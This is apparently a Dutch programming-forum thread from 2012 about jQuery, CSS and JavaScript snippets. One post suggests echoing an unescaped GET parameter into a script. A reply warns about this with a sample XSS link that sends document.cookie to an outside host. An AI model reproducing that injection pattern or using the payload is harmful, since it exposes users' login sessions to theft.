Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.quote:Op donderdag 29 november 2012 23:44 schreef Tijn het volgende:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond.quote:Op donderdag 29 november 2012 23:47 schreef Tijn het volgende:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Ik snap niet helemaal wat je bedoelt.quote:Op donderdag 29 november 2012 23:54 schreef Tijn het volgende:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude.quote:Op vrijdag 30 november 2012 00:01 schreef Tijn het volgende:
http://jqueryui.com/download/
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Omdat totals een array is. Dus totals[0]==null.quote:Op vrijdag 30 november 2012 09:29 schreef Deeltjesversneller het volgende:
[ code verwijderd ]
waarom levert (totals == null) false op?
| 1 2 3 | a [style*="color:#0000FF"] { color: green!important; } |
Geloof er niks van.quote:Op vrijdag 30 november 2012 09:37 schreef Deeltjesversneller het volgende:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Het is al gelukt.quote:Op zaterdag 1 december 2012 14:41 schreef n8n het volgende:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
| 1 2 3 | a.username[style*="#0000FF"], a.tag[style*="#0000FF"] { color: #389ABE !important; } |
beterquote:Op zaterdag 1 december 2012 15:00 schreef Dimens het volgende:
[..]
Het is al gelukt.
[ code verwijderd ]
Met dank aan TwyLight.
Wat heb je zelf tot nu toe?quote:Op dinsdag 4 december 2012 13:30 schreef Laser. het volgende:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Als je op de button klikt roept ie de functie count(); aan.quote:
| 1 2 3 4 5 6 7 8 | <script type="text/javascript"> var img = 1; function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; } </script> |
| 1 | document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)"; |
Neuh, gewoon %4 en bij 0 beginnen.quote:Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
quote:Op dinsdag 4 december 2012 13:34 schreef Laser. het volgende:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
| 1 2 3 4 5 6 7 8 | <?php var img = 1; function count() { (img < 4) ? img = img++ : img = 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img"+img+".jpg)"; } ?> |
Netter dan de mijne.quote:Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
| 1 2 3 | <script type="text/javascript"> document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; </script> |
| 1 2 3 4 5 6 7 8 9 | <script type="text/javascript"> var section = "S3"; var img = 1; function count() { img = img + 1; document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)"; if (img==4) img=0; } </script> |
| 1 | var section = "<?= $_GET["section"] ?>"; |
Ach, mensen klikken ook op dit soort pareltjes.quote:Op dinsdag 4 december 2012 15:24 schreef KomtTijd... het volgende:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Er sterft altijd een beetje van mezelf als ik zulke dingen ziequote:javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
| 1 2 3 4 5 6 7 8 9 10 11 | $(document).ready(function(){ // index laden bij start $('#content').load('content/index.php'); // navigatie laden bij klikken $('ul#nav li a').click(function() { var page = $(this).attr('href'); $('#content').load('content/' + page + '.php'); return false; }); }); |
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepastquote:Op woensdag 5 december 2012 13:20 schreef Catch22- het volgende:
Even een flowtutorial lezen
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/quote:Op vrijdag 7 december 2012 14:12 schreef boem-dikkie het volgende:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.quote:Op vrijdag 7 december 2012 14:26 schreef donroyco het volgende:
[..]
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
Jammerquote:Op vrijdag 7 december 2012 14:44 schreef boem-dikkie het volgende:
[..]
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.
Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
| 1 2 3 4 5 6 7 8 | <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32"> Test test Test test Test test Test test <div class="author">Henk de Tank</div> </div> <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31"> Doet ie het? <div class="author">Einzzzstein</div> </div> |
| 1 2 3 | $("div.note").dblclick(function(event) { alert($(event).data("id")); }) |
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.quote:Op vrijdag 7 december 2012 15:29 schreef KomtTijd... het volgende:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.
Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
$(this) werkt sowieso wel mooi voor dit soort dingen.quote:Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).
this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
| Forum Opties | |
|---|---|
| Forumhop: | |
| Hop naar: | |